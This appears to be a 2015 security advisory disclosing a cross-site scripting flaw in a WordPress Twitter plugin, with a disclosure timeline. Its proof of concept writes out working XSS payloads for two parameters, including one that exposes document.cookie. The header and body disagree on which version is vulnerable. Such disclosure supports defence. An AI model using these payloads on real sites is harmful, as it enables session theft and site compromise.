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WordPress Twitter 2.37 Cross Site Scripting

WordPress Twitter 2.37 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Twitter plugin version 2.37 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | a052dbde4a47505fb0370af44b9e9b8f

WordPress Twitter 2.37 Cross Site Scripting

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Effected Version : 2.36 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

In the following fields put the payload as below

http://localhost/wp-admin/admin.php?page=twitter.php
twttr_url_twitter = ‘><script>alert(1)</script>

http://localhost/wp-admin/admin.php?page=twitter.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>

Vulnerable Parameter : twttr_url_twitter, bws_license_key

Type of XSS : Reflected / Stored

Fixed in : 2.37

http://wordpress.org/plugins/twitter-plugin/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

Twitter plugin allows you to add the Follow and the Like buttons the easiest way. Want to be always in touch with your friends and readers? Cannot imagine your life without Twitter? It is all in several clicks!

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